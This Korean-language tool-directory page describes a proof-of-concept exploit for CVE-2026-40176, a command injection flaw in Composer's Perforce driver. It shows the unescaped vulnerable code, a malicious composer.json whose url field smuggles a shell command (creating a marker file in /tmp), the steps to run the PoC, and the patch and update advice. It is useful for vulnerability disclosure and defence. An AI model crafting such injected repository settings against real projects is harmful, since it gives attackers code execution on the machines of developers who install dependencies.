Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-40176-poc — CVE-2026-40176에 대한 개념 증명 익스플로잇으로, Composer의 Perforce VCS 드라이버에서 OS 명령 주입 취약점을 이용하여 조작된 composer.json을 통해 원격 코드 실행을 가능하게 합니다. | Kitploit
도구/GitHubGitHub/saku0512/cve-2026-40176-poc
Vulnerability AnalysisExploitationWeb Application ExploitationCommand and ControlLearning & EducationPayload Development
GitHubsaku0512/cve-2026-40176-poc

CVE-2026-40176-poc

CVE-2026-40176에 대한 개념 증명 익스플로잇으로, Composer의 Perforce VCS 드라이버에서 OS 명령 주입 취약점을 이용하여 조작된 composer.json을 통해 원격 코드 실행을 가능하게 합니다.

저장소 보기
21개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-40176: Composer Perforce OS 명령 주입 PoC

영어 버전

개요

이 리포지토리는 Composer의 Perforce VCS 드라이버에 존재하는 중대한 OS 명령 주입 취약점 CVE-2026-40176의 Proof of Concept(PoC)입니다. 이 취약점은 Composer 2.2.27 및 2.9.6 이전 버전에 영향을 미칩니다.

취약점은 Perforce::generateP4Command() 메서드에 존재합니다. 셸 명령을 조립할 때 url, p4user, client 등의 리포지토리 설정 값에 대한 살균이 충분하지 않기 때문에, 공격자가 제어하는 composer.json을 사용하여 피해자가 composer install 또는 composer update를 실행하는 시점에 임의의 명령을 실행할 수 있습니다.

발견자: saku0512 (GitHub)

면책 조항

이 프로젝트는 교육 목적 및 허가된 윤리적인 보안 검증만을 목적으로 합니다.

본 도구의 오용, 손해, 불법 행위에 대해 저자는 일체의 책임을 지지 않습니다. 허가 없이 컴퓨터 시스템에 접근하는 행위는 불법입니다. 이 소프트웨어를 사용하는 경우, 명시적인 허가를 받은 환경에서만 보안 검증을 수행하는 데 동의한 것으로 간주됩니다.

취약점 상세

  • CVE ID: CVE-2026-40176
  • 유형: OS 명령 주입 (CWE-78)
  • 영향: 원격 코드 실행 (RCE)
  • 영향을 받는 버전:
    • Composer 2.0.0 <= v2.2.26
    • Composer 2.3.0 <= v2.9.5
  • 수정된 버전: v2.2.27 / v2.9.6

근본 원인

src/Composer/Util/Perforce.php의 generateP4Command() 메서드에서는 리포지토리 설정에서 가져온 문자열을 직접 연결하여 셸 명령을 구성합니다.

root@kitploit:~
$p4Command = $this->getP4Executable().' ';
$p4Command .= '-u ' . $this->getUser() . ' ';   // 에스케이프되지 않음
if ($useClient) {
    $p4Command .= '-c ' . $this->getClient() . ' '; // 에스케이프되지 않음
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command; // 에스케이프되지 않음

이 값들에 ;, &, | 등의 셸 메타 문자를 포함하고 있는 경우 셸에 의해 해석되어 명령 주입으로 이어집니다.

PoC 사용 방법

1. 환경 준비

PHP가 설치되어 있는지 확인하십시오. 이 PoC는 Composer 내부의 취약한 로직을 재현합니다.

root@kitploit:~
# PHP 버전 확인
php -v

2. 설정 예시 (악의적인 composer.json)

공격자는 다음과 같은 composer.json을 생성할 수 있습니다.

root@kitploit:~
{
    "repositories": [
        {
            "type": "perforce",
            "url": "localhost:1666; touch /tmp/pwned_rce_confirmed #",
            "depot": "depot"
        }
    ],
    "require": {
        "some/package": "dev-master"
    }
}

3. PoC 실행

포함된 poc.php는 취약한 Composer 버전에서의 내부 명령 생성 및 실행 로직을 재현합니다.

root@kitploit:~
# PoC 실행
php poc.php

4. 검증

페이로드에 의해 생성된 파일이 존재하는지 확인하고, 명령이 실행되었는지 검증합니다.

root@kitploit:~
ls -l /tmp/pwned_rce_confirmed

파일이 존재하는 경우, RCE가 성립되었음을 확인할 수 있습니다.

대책

Composer를 즉시 최신 버전으로 업데이트하십시오.

root@kitploit:~
composer self-update

수정에서는 셸에 의한 해석을 방지하기 위해 사용자 입력에서 비롯된 모든 인수에 ProcessExecutor::escape()를 적용합니다.

참고 정보

  • CVE-2026-40176 (cve.org)
  • Composer 보안 권고
도구 다운로드